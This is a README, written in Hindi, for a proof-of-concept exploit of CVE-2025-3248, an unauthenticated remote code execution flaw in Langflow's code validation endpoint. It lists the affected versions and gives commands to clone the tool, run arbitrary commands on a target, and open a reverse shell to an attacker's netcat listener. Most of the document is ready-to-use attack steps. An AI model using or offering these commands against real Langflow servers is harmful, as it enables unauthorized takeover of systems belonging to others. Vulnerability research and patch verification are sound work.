CVE-2025-3248 - Langflow कोड सत्यापन एंडपॉइंट RCE

Langflow के कोड सत्यापन एंडपॉइंट में रिमोट कोड निष्पादन भेद्यता को प्रदर्शित करने वाला एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। यह भेद्यता Langflow के 1.3.0 से पहले के संस्करणों को प्रभावित करती है, जिससे बिना प्रमाणीकरण के हमलावर क्राफ्टेड HTTP अनुरोधों के माध्यम से मनमाना कोड निष्पादित कर सकते हैं।

भेद्यता विवरण

• CVE आईडी: CVE-2025-3248
• प्रभावित संस्करण: < 1.3.0
• हमला वेक्टर: दूरस्थ
• प्रमाणीकरण आवश्यक: नहीं
• प्रभाव: रिमोट कोड निष्पादन (RCE)
• एंडपॉइंट: /api/v1/validate/code

पूर्वापेक्षाएँ

• Python 3.x
• आवश्यक Python पैकेज:
  • requests
  • colorama

स्थापना

1. रिपॉजिटरी क्लोन करें:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. निर्भरताएँ इंस्टॉल करें:

pip install requests colorama

उपयोग

यह एक्सप्लॉइट ऑपरेशन के दो तरीकों का समर्थन करता है:

1. कमांड निष्पादन मोड

लक्ष्य सिस्टम पर एक एकल कमांड निष्पादित करें:

python3 cve-2025-3248.py cmd <target_url> "<command>"

उदाहरण:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. रिवर्स शेल मोड

एक इंटरैक्टिव रिवर्स शेल प्रारंभ करें:

1. पहले, अपनी मशीन पर एक लिसनर शुरू करें:

nc -lvnp 4444

2. फिर एक्सप्लॉइट चलाएँ:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

उदाहरण:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444